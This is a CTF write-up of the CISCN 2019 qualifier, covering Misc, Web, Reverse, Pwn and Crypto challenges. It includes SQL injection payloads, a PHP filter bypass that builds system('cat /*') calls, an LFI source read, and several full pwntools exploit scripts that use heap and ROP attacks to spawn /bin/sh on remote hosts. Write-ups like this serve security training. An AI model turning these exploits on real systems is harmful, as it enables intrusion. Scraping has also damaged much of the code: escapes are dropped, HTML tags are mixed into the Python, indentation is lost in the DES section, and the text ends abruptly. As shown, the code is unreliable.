CISCN2019 全国大学生信息安全竞赛线上赛 Writeup

当时我们博客挂了,只发在了先知,现补发:https://xz.aliyun.com/t/4906

Misc

签到

根据题目提示,三个男生女装对着摄像头跳宅舞就行了。我们跳的是《ハレ晴レユカイ》。

saleae

使用saleae logic打开,有4个channel,使用SPI协议分析,直接提取出flag
image.png

24c

还是使用saleae logic打开,有2个channel,使用I2C协议分析
image.png

查询24c文档可以知道Setup Write 之后需要输入的一个字符, 是为写储存的首地址

分析每段的输入 如下

第一段中为 , ord(‘ ‘) = 32
第二段中为 0
第三段中为 t, ord(‘t’) = 9

所以最终flag写的过程是

image.png

usbasp

4个channel,使用SPI协议分析,注意setting最后一条要修改,提取出一串ascii码,转码得到flag

image.png

Web

全宇宙最简单的SQL

盲注。

发现or||被过滤,采用^配合AND进行注入。发现SLEEPBENCHMARK被过滤,使用正则DoS方式进行时间盲注。又由于不知道列名,因此再套一层,Payload如下:

admin'^(select+(select b from (select 1 as a,2 as b from user where 1=2 union select * from user) b) like'f1ag%'+and+concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'))+RLIKE+'(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bb')^'1'%3d'1#

后发现,还可以使用报错注入。如果报错,页面会提示“数据库操作错误”。基本Payload如下:

username='^(select exp(~((select (  (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) ))*18446744073709551615)))#&password=admin

很快注出密码是f1ag@1s-at_/fll1llag_h3r3,不过因为大小写不正确,要使用binary like。最终验证:

username='^(select exp(~((select( 2*length(( select c.b from (select 1 as a,2 as b from user union select * from user)c where a like binary 'admin' and b like binary 'F1AG@1s-at_/fll1llag_h3r3' ))=25))*18446744073709551615)))#&password=1

登录进去后就是老梗题,最近至少出现了三次,利用MySQL来手动读文件。https://github.com/allyshka/Rogue-MySql-Server/

直接打即可。

image.png

JustSoSo

image.png

(但是没交上)

love_math

那么多数学函数,实际上唯一能用的只有进制转换类,即base_convertdechex,通过其能导出[0-9a-z]在内的字符。

经过一大堆失败的实验,如:

// phpinfo();
(base_convert(55490343972,10,36))();
// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42)); 
// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});

最后使用system(getallheaders(){9})

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

image.png

RefSpace

首先扫目录,扫出
– /index.php
– /robots.txt
– /flag.txt
– /backup.zip
– /?route=app/index
– /?route=app/Up10aD
– /?route=app/flag

这个flag.txt看起来是加密过的,没啥用,先下载下来再说。从app/flag处,通过让参数为Array,可以得到报错信息,可以得到一个PHP文件/ctf/sdk.php

image.png

接着就是老梗LFI base64读源码,各种读。
http://e13d1dbeea094a64a4ad2b6677e8077947834b9a3b614242.changame.ichunqiu.com/?route=php://filter/read=convert.base64-encode/resource=app/index

读到/ctf/sdk.php,发现这是经过SourceGuardian加密的。作者给了个提示:

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

...

3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。

出题人三令五申不要去解密这个文件,那应该就不需要解密这个文件。不管怎么说,本地反射先。

php > $a = new ReflectionClass('interestingFlagSDK');
php > var_dump($a->getMethods());
php shell code:1:
array(2) {
  [0] =>
  class ReflectionMethod#2 (2) {
    public $name =>
    string(7) "getHash"
    public $class =>
    string(19) "interestingFlagSDK"
  }
  [1] =>
  class ReflectionMethod#3 (2) {
    public $name =>
    string(6) "verify"
    public $class =>
    string(19) "interestingFlagSDK"
  }
}
php > var_dump($a->getProperties());
php shell code:1:
array(1) {
  [0] =>
  class ReflectionProperty#2 (2) {
    public $name =>
    string(8) "flagPath"
    public $class =>
    string(19) "interestingFlagSDK"
  }
}
php > $d = $a->getProperty('flagPath');
php > echo $d->getValue($b);
/var/www/html/flag.txt

可以看出这个类就两个函数,getHashverify,还有一个flagPath的属性,值是那个flag.txt。但不知道这个getHash的返回值究竟是啥,反射调用先

php > $b = new interestingFlagSDK();
php > $cc = $a->getMethod('getHash');
php > $cc->setAccessible(true);
php > echo $cc->invoke($b);
a356bc8d9d3e69beea3c15d40995f395425e7813

似乎是个固定值,服务器上通过phar传Shell也证明了这一点。But nobody cares,实践才是最重要的。让我们来手撕加密吧。(出题人内心OS:??????我不是都说别搞我加密了吗)

先去clone PHP源码,编译一下,再去SourceGuardian官网下载和我本地对应版本的PHP扩展,然后根据他的代码来模仿写一个:

image.png

接着让我们来魔改PHP内核,在zend_vm_init_call_frame处打log来得到函数调用信息:

image.png

然后执行代码,从这个函数调用,就可以看出getHash真的只是return 'a356bc8d9d3e69beea3c15d40995f395425e7813'而已,并没有别的用途。

image.png

我们现在知道,flag其实就藏在verify函数里了。我本来想给所有和比较有关的函数都打上标记,但根据题目提示,题目只用到了===。因此修改zend_is_identical的返回值,直接让他return 1.

image.png

然后把题目给的flag.txt丢到/var/www/html/flag.txt,就跑出来了。

image.png

另外,这个被加密的代码逻辑是

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        $a = base64_decode(file_get_contents($this->flagPath));
        return openssl_private_decrypt($a, "RSA_KEY");
    }
    return false;
}

image.png

很容易也就能把他的RSA密钥解出来,这个就没啥好说的了。专业SG11解密,比市场价便宜.jpg

(各位师傅别来日我写的加密啊.jpg)

Re

easyGo

下载了个golanghelper帮助IDA发现程序
动态跟踪后发现flag就在内存中

pwndbg> telescope 0xc0000181e0
00:0000│ rsi r12  0xc0000181e0 ◂— 0x3032397b67616c66 ('flag{920')
01:0008│          0xc0000181e8 ◂— 0x33332d6661643439 ('94daf-33')
02:0010│          0xc0000181f0 ◂— 0x2d653133342d3963 ('c9-431e-')
03:0018│          0xc0000181f8 ◂— 0x6662382d61353861 ('a85a-8bf')
04:0020│          0xc000018200 ◂— 'bd5df98ad}'
05:0028│          0xc000018208 ◂— 0x7d64 /* 'd}' */
06:0030│          0xc000018210 ◂— 0x0

bbvvmm

程序验证username和passwd
username用了sm4加密又base64,sm4密钥给了,逆着来就行了
passwd验证的代码太长,动态开调,后来发现就写在内存中

#https://github.com/yang3yen/pysm4
from pysm4 import decrypt
import base64
#a = "IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y"
#b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
#crypto_text = "RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y="
#table = ''.maketrans(a, b)
#print(base64.b64decode(crypto_text.translate(table)))
m = 0xEF468DBAF985B2509C9E200CF3525AB6
key = 0xda98f1da312ab753a5703a0bfd290dd6
temp = hex(decrypt(m,key))[2:-1]
a = ""
for i in range(len(temp)/2):
    a += chr(int(temp[2*i:2*i+2],16))
temp = a
a = ""
for i in range(len(temp)/2):
    a += chr(int(temp[2*i:2*i+2],16))
print "name is " + a

username = “badrer12”
密码出现在内存中

00000000022D14F0  C0 25 2D 02 00 00 00 78  72 00 00 00 00 00 00 0A  ..-....xr.......
00000000022D1500  C0 25 2D 02 00 00 00 79  71 00 00 00 00 00 00 08  ..-....yq.......
00000000022D1510  C0 25 2D 02 00 00 00 7A  77 00 00 00 00 00 00 0D  ..-....zw.......
00000000022D1520  C0 25 2D 02 00 00 00 7B  65 00 00 00 00 00 00 1E  ..-....{e.......
00000000022D1530  C0 25 2D 02 00 00 00 7C  72 00 00 00 00 00 00 0E  ..-....|r.......
00000000022D1540  C0 25 2D 02 00 00 00 7D  71 00 00 00 00 00 00 0C  ..-....}q.......
00000000022D1550  1A 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

passwd=”xyz{|}”

from pwn import *
p = remote("39.97.228.196","10001")
p.recvuntil("Username:")
p.sendline("badrer12")
p.recvuntil("Password:")
p.send("xyz{|}")
p.interactive()

Pwn

your_pwn

数组下标越界造成任意读和写(代码有点丑

from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
# p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
def main():
    gdb.attach(p)
    p.recvuntil("input your name nname:")
    p.send("x00")
    start_offset = 349
    program_base = 0
    #leak program_base
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset-i))
        p.recvuntil("now value(hex) ")
        temp = int(p.recvuntil("n",drop=True)[-2:],16)
        print temp
        program_base = (program_base << 8) + temp
        print program_base
        p.recvuntil("input new value")
        p.sendline(str(temp))
    program_base -= 0xb11
    success("program_base : " + hex(program_base))

    #0x0000000000000d03 : pop rdi ; ret
    #puts(got[puts]) and return main
    start_offset = 344+0x8
    pop_rdi = program_base + 0xd03
    puts_addr = elf.symbols["puts"] + program_base
    puts_got = elf.got["puts"] + program_base
    main_addr = program_base + 0xa65
    for i in range(2):
        p.recvuntil("input index")
        p.sendline(str(344+i))
        p.recvuntil("input new value")
        p.sendline(str((pop_rdi&(0xff<<i*8))>>i*8))

    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((puts_got&(0xff<<i*8))>>i*8))
    start_offset += 0x8
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((puts_addr&(0xff<<i*8))>>i*8))
    start_offset += 0x8
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((main_addr&(0xff<<i*8))>>i*8))
    for i in range(15):
        p.recvuntil("input index")
        p.sendline("1")
        p.recvuntil("input new value")
        p.sendline("1")

    #write ret value to one_gadget
    p.recvuntil("do you want continue(yes/no)? ")
    p.sendline("yes")
    p.recvuntil("n")
    puts_addr = u64(p.recvuntil("n",drop=True).ljust(8,"x00"))
    success("puts : " + hex(puts_addr))
    p.recvuntil("input your name nname:")
    p.send("x00")
    libc_base = puts_addr - 0x6f690
    one_gadget = libc_base + 0x45216
    start_offset = 344
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((one_gadget&(0xff<<i*8))>>i*8))
    for i in range(35):
        p.recvuntil("input index")
        p.sendline("1")
        p.recvuntil("input new value")
        p.sendline("1")
    p.recvuntil("do you want continue(yes/no)? ")
    p.sendline("no")
    p.interactive()
if __name__ == "__main__":
    main()

daily

free的时候没有检查index是否合法

from pwn import *

def show():
    p.sendafter(':', '1')

def add(size, cont):
    p.sendafter(':', '2')
    p.sendafter('daily:', str(size))
    p.sendafter('n', cont)

def edit(idx, cont):
    p.sendafter(':', '3')
    p.sendafter(':', str(idx))
    p.sendafter('n', cont)

def free(idx):
    p.sendafter(':', '4')
    p.sendafter(':', str(idx))

def leak():
    add(0x100, '0')
    add(0x100, '1')
    add(0x100, '2')
    add(0x100, '3')
    add(0x100, '4')
    free(3)
    free(1)
    free(4)
    free(2)
    free(0)
    add(0x100, '0'*8)
    add(0x210, '1'*8)
    add(0x100, '2'*8)
    show()
    p.recvuntil('1'*8)
    libc_base = u64(p.recvuntil('2 : '+'2'*8, drop=True).ljust(8, 'x00')) - 0x3c4b78
    heap = u64(p.recvuntil('=', drop=True).ljust(8, 'x00')) - 0x110
    free(0)
    free(1)
    free(2)
    return heap, libc_base

def exploit(host, port=58512):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
    gdb.attach(p, 'source ./gdb.scriptn')
    heap, libc.address = leak()
    info('heap @ '+hex(heap))
    info('libc @ '+hex(libc.address))
    add(0x60, p64(0) + p64(heap+0x10))
    add(0x60, '/bin/shx00') #1
    add(0x7f, '2')
    free((heap+0x10-0x602060)/0x10)
    edit(0, p64(0x602078))
    add(0x60, '3') #0 
    add(0x60, p64(libc.sym['__free_hook'])) # point to address of #2 : 0x602088
    edit(2, p64(libc.sym['system']))
    free(1)
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')
    exploit(args['REMOTE'])

baby_pwn

通过爆破修改alarm@got最低位指向sysenter从而判断远程libc版本,再利用read()使得eax=sys_write即可泄露

from pwn import *
context.update(os='linux', arch='i386')

def exploit(host, port=33865):
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc6-i386_2.23-0ubuntu11_amd64.so'})
        gdb.attach(p, 'source ./gdb.script')
    ropchain = [
        elf.plt['read'], p_esi_edi_ebp_r,
        0, elf.got['alarm'], 1,

        elf.plt['read'], p_esi_edi_ebp_r,
        0, 0x0804A000, 0x100,
        p_ebx_r, 1,
        elf.plt['alarm'],

        elf.plt['read'], p_esi_edi_ebp_r,
        0, elf.got['setvbuf'], 0x10,

        elf.plt['setvbuf'], 0,
        elf.got['setvbuf']+4,
    ]
    p.send(('A'*40 + 'B'*4 + flat(ropchain)).ljust(0x100, 'x00'))
    p.send('x2b')
    p.send('x00'*4)
    p.recv(0xc)
    libc.address = u32(p.recv(4)) - libc.sym['read']
    info('libc.address @ '+hex(libc.address))
    p.send(p32(libc.sym['system']) + '/bin/shx00')
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so')
    p_ebx_esi_edi_ebp_r = 0x080485d8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    p_esi_edi_ebp_r = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret
    p_ebx_r = 0x0804837d # pop ebx ; ret
    exploit(args['REMOTE'])

Double

数据为单向链表结构,在add()时通过添加两次相同数据,可以触发fastbin attack,将堆块分配至bss段,从而修改链表头指针,达到任意读写

from pwn import *

def add(data):
    p.sendlineafter('> ', '1')
    if len(data)<256:
        data += 'n'
    p.sendafter('data:n', data)

def show(idx):
    p.sendlineafter('> ', '2')
    p.sendlineafter('index: ', str(idx))

def edit(idx, data):
    p.sendlineafter('> ', '3')
    p.sendlineafter('index: ', str(idx))
    if len(data)<256:
        data += 'n'
    p.send(data)

def free(idx):
    p.sendlineafter('> ', '4')
    p.sendlineafter('index: ', str(idx))

def exploit(host, port=40002):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
        gdb.attach(p, 'source ./gdb.script')
    add('A'*0x60) #0
    add('A'*0x60) #1
    free(1)
    edit(0, p64(0x4040b0-3))
    add('1'*0x60) #1
    add('x00'*0x60) #0
    edit(0, 'x77'*3 + p64(elf.got['free']) + p64(0) + p64(0x4040b8) + p64(0x4040b8) + '/bin/shx00')
    show(0)
    libc.address = u64(p.recvuntil('n', drop=True).ljust(8, 'x00')) - libc.sym['free']
    info('libc.address @ '+hex(libc.address))
    edit(0, p64(libc.sym['system']))
    add('/bin/sh')
    free(1)
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')
    exploit(args['REMOTE'])

bms

通过double free来检测远程libc版本>=2.26,pwnable.tw的heap_paradise原题,但是libc版本不同,利用思路相同,修改IO_2_1_stdout的头部造成泄露,再通过tcache attack来达到任意写

from pwn import *

def auth(p):
    p.sendlineafter('name:', 'admin')
    p.sendlineafter('word:', 'frame')

def __add__(p, name, size, desc):
    p.sendlineafter('>', '1')
    p.sendafter(':', name)
    p.sendafter(':', str(size))
    p.sendafter('description:', desc)

def __free__(p, idx):
    p.sendlineafter('>', '2')
    p.sendafter(':', str(idx))

def exploit(host, port=40001):
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':libc_name})
        gdb.attach(p, 'source ./gdb.script')
    auth(p)
    add = lambda x,y,z: __add__(p, x, y, z)
    free = lambda x: __free__(p, x)
    add('0', 0x60, 'desc') #0
    free(0)
    free(0)
    add('1', 0x60, p64(0x602020)) #1
    add('2', 0x60, 'desc') #2
    add('3', 0x60, 'x20')
    add('4', 0x60, p64(0xfbad1800) + p64(0)*3 + 'x00')
    p.recv(24)
    libc.address = u64(p.recv(8)) - 0x3d73e0 # - 0x74d0
    info('libc.address @ '+hex(libc.address))
    add('5', 0x90, 'desc')
    free(5)
    free(5)
    add('6', 0x90, p64(libc.sym['__free_hook']))
    add('7', 0x90, '/bin/shx00')
    add('8', 0x90, p64(libc.sym['system']))
    free(7)
    p.interactive()

if __name__ == '__main__':
    # libc_name = './libc.so.6'
    libc_name = './libc6_2.26-0ubuntu2_amd64.so'
    libc = ELF(libc_name)
    exploit(args['REMOTE'])

Crypto

puzzles

“`part0解四元一次方程
from z3 import *
a1 = Real("a1")
a2 = Real("a2")
a3 = Real("a3")
a4 = Real("a4")
s = Solver()

s.add(13627<em>a1+26183</em>a2+35897<em>a3+48119</em>a4 == 347561292)
s.add(23027<em>a1+38459</em>a2+40351<em>a3+19961</em>a4 == 361760202)
s.add(36013<em>a1+45589</em>a2+17029<em>a3+27823</em>a4 == 397301762)
s.add(43189<em>a1+12269</em>a2+21587<em>a3+33721</em>a4 == 350830412)
print s.check()
m = s.model()
print(m)

<pre><code class="line-numbers"><br />part1
http://smallprimenumber.blogspot.com/2008/12/prime-number-from-26000000-to-26500000.html

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20190423105429-1cd09f50-6573-1.png)

part2高数在线微积分网站
part3&&part4
大物和三重积分

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20190423105423-19b170a6-6573-1.png)


flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

### part_des
题目给出了全部的round key 和 某一轮加密的结果
github 搜一个des的代码 把round key 赋入. 并且遍历某round 把加密结果替换
“`python
# -*- coding: utf-8 -*-
# S盒 的置换矩阵
S_MATRIX = [(14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13),
(15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9),
(10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12),
(7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14),
(2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3),
(12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13),
(4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12),
(13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11)]
# P置换的置换矩阵
P_MATRIX = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
# IP置换的 置换矩阵
IP_MATRIX = [58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7]

# 压缩置换矩阵 从56位里选48位
COMPRESS_MATRIXS = [14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32]
# E扩展置换矩阵

E_MATRIX = [32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13,
12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21,
20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29,
28, 29, 30, 31, 32, 1]
# IP逆置换矩阵
IP_INVERSE_MATRIX = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]

# IP置换
def IP(Mingwen):
#如果长度不是64 就退出
assert len(Mingwen) == 64

ret = “”
#通过循环 进行IP置换
for i in IP_MATRIX:
ret = ret + Mingwen[i – 1]
return ret

# 循环左移位数
def shift(str, shift_count):
try:
if len(str) > 28:
raise NameError
except TypeError:
pass

str = str[shift_count:] + str[0:shift_count]
return str

#由密钥 得到子密钥

def createSubkey(key):
# 如果key长度不是64 就退出
assert len(key) == 64

#DES的密钥由64位减至56位,每个字节的第8位作为奇偶校验位
#把56位 变成 2个28位

Llist = [57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36]
Rlist = [63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4]

# 初试生成 左右两组28位密钥
L0 = “”
R0 = “”

for i in Llist:
L0 += key[i – 1]
for i in Rlist:
R0 += key[i – 1]

assert len(L0) == 28
assert len(R0) == 28

#轮函数生成 48位密钥

#定义轮数
Movetimes = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
#定义返回的subKey
retkey = []
#开始轮置换
for i in range(0, 16):
#获取左半边 和 右半边 shift函数用来左移生成轮数
L0 = shift(L0, Movetimes[i])
R0 = shift(R0, Movetimes[i])
#合并左右部分
mergedKey = L0 + R0

tempkey = “”
# 压缩置换矩阵 从56位里选48位
#选出48位子密钥
for i in COMPRESS_MATRIXS:
tempkey += mergedKey[i – 1]
assert len(tempkey) == 48
#加入生成子密钥
retkey.append(tempkey)

return retkey

# E扩展置换 把右边32位扩展为48位
def E_expend(Rn):

retRn = “”
for i in E_MATRIX:
retRn += Rn[i – 1]
assert len(retRn) == 48
return retRn

# S盒替代运算
def S_sub(S_Input):
#从第二位开始的子串 去掉0X
S_Input = bin(S_Input)[2:]

while len(S_Input) < 48:
S_Input = “0” + S_Input

index = 0
retstr = “”

for Slist in S_MATRIX:
# 输入的高低两位做为行数row
row = int(S_Input[index] + S_Input[index + 5], base=2)
# 中间四位做为列数L
col = int(S_Input[index + 1:index + 5], base=2)
# 得到 result的 单个四位输出
ret_single = bin(Slist[row * 16 + col])[2:]

while len(ret_single) < 4:
ret_single = “0” + ret_single

# 合并单个输出
retstr += ret_single
# index + 6 进入下一个六位输入
index += 6

assert len(retstr) == 32

return retstr

def P(Ln, S_sub_str, oldRn):
# P 盒置换
tmp = “”
for i in P_MATRIX:
tmp += S_sub_str[i – 1]
# P盒置换的结果与最初的64位分组左半部分L0异或
LnNew = int(tmp, base=2) ^ int(Ln, base=2)
LnNew = bin(LnNew)[2:]
while len(LnNew) < 32:
LnNew = “0” + LnNew
assert len(LnNew) == 32
# 左、右半部分交换,接着开始另一轮
(Ln, Rn) = (oldRn, LnNew)

return (Ln, Rn)

def IP_inverse(L16, R16):
tmp = L16 + R16
retstr = “”
for i in IP_INVERSE_MATRIX:
retstr += tmp[i – 1]
assert len(retstr) == 64
return retstr

# DES 算法实现 flag是标志位 当为-1时, 是DES解密, flag默认为0
def DES (text, key, flag = “0”, ii = -1):
# 初始字段
# IP置换
InitKeyCode = IP(text)
# 产生子密钥 集合
subkeylist = createSubkey(key)
subkeylist = [“111000001011111001100110000100000011001011010101”, “111100001011011001110110111110000010000010010101”, “111001001101011001110110001000110110001010001111”, “111001101101001101110110001101100011000110000011”, “101011101101001101110011101001100000000101100111”, “101011110101001101111011010001101010101111000010”, “101011110101001111011001011101001000010101011001”, “000111110101101111011001010010111001010001001010”, “001111110100100111011001010010001001011111101010”, “000111110110100110011101000111001101110000101001”, “000111110010110110011101010010100101110001110000”, “010111110010110010101101100010011110100100111000”, “110110111010110010101100101000010101111000010000”, “110110001010111010101110110110010000001000110110”, “111100001011111000101110100101010100101010001100”, “111100001011111010100110000100010010111010000100”, ]

# 获得Ln 和 Rn
Ln = InitKeyCode[0:32]
Rn = InitKeyCode[32:]

if (flag == “-1”) :
subkeylist = subkeylist[::-1]

i = 0
for subkey in subkeylist:
while len(Rn) < 32:
Rn = “0” + Rn
while len(Ln) < 32:
Ln = “0” + Ln

# 对右边进行E-扩展
Rn_expand = E_expend(Rn)
# 压缩后的密钥与扩展分组异或以后得到48位的数据,将这个数据送入S盒
S_Input = int(Rn_expand, base=2) ^ int(subkey, base=2)

# 进行S盒替代
S_sub_str = S_sub(S_Input)

#P盒置换 并且
# 左、右半部分交换,接着开始另一轮
(Ln, Rn) = P(Ln, S_sub_str, Rn)
if(i == ii):
#Rn, Ln = ‘10010010110110010001010100100101’, ‘00000001000110011110000100101011’
Ln, Rn = ‘10010010110110010001010100100101’, ‘00000001000110011110000100101011’
i = i + 1
#进行下一轮轮置换

# 最后一轮之后 左、右两半部分并未进行交换
# 而是两部分合并形成一个分组做为末置换的输入。
# 所以要重新置换 一次

(Ln, Rn) = (Rn, Ln)
# 末置换得到密文
re_text = IP_inverse(Ln, Rn)

return re_text

if __name__ == “__main__”:
for i in range(16):
key = “0001001000110100010101100111100010110001001000110100010101100111”
Mingwen = “1001001011011001000101010010010100000001000110011110000100101011”
ciphertext = DES(Mingwen, key, ii= i)
Mingwen = “1001001011011001000101010010010100000001000110011110000100101011”

#打印加密后的密文
print( hex(int(ciphertext, base=2)))

falseKey = “1001001011011001000101010010010100000001000110011110000100101011”

decode_ciphertext = DES(ciphertext, key, “-1”)
#打印解密后的明文 看是否相同
print(hex(int(decode_ciphertext, base=2)).upper())

把输出转化为字符. 发现 79307572394F6F64 可转为 y0ur9Ood

Asymmetric

爆破 p, r

from math import log2
target= 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721
r = 4
